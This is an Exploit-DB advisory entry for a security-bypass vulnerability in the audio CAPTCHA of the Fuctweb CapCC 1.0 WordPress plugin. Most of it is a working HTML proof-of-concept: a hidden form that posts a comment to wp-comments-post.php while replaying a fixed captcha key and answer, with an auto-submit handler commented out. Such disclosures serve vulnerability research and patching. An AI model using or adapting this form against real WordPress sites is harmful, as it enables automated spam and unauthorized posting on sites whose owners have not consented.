Fuctweb CapCC Plugin 1.0 for WordPress CAPTCHA - Security Bypass Vulnerability

2009-11-13T00:00:00
ID EDB-ID:33372
Type exploitdb
Reporter MustLive
Modified 2009-11-13T00:00:00

Description

Fuctweb CapCC Plugin 1.0 for WordPress CAPTCHA Security Bypass Vulnerability. Webapps exploit for php platform

                                        
                                            source: http://www.securityfocus.com/bid/37103/info

Fuctweb CapCC Plugin for WordPress is prone to a security-bypass vulnerability that occurs in the audio CAPTCHA protocol.

Successful exploits may allow attackers to bypass security restrictions and perform unauthorized actions.

CapCC 1.0 is affected; other versions may also be vulnerable.

<html> <head><base href="http://websecurity.com.ua/uploads/2008/CapCC%20CAPTCHA%20bypass.html" /> <title>CapCC CAPTCHA bypass exploit (C) 2008 MustLive. http://websecurity.com.ua</title> </head> <!-- <body onLoad="document.hack.submit()"> --> <body> <form name="hack" action="http://sitewww.example.com/wp-comments-post.php" method="post"> <input type="hidden" name="author" value="Test"> <input type="hidden" name="email" value="test@www.example.com"> <input type="hidden" name="url" value="http://www.example.com"> <input type="hidden" name="comment" value="Captcha bypass test."> <input type="hidden" name="comment_post_ID" value="1"> <input type="hidden" name="capcc_captchakey" value="EQoenVjf6wemPguoYT6CJwl0O"> <input type="hidden" name="capcc_captcha" value="gthsw"> </form> </body> </html>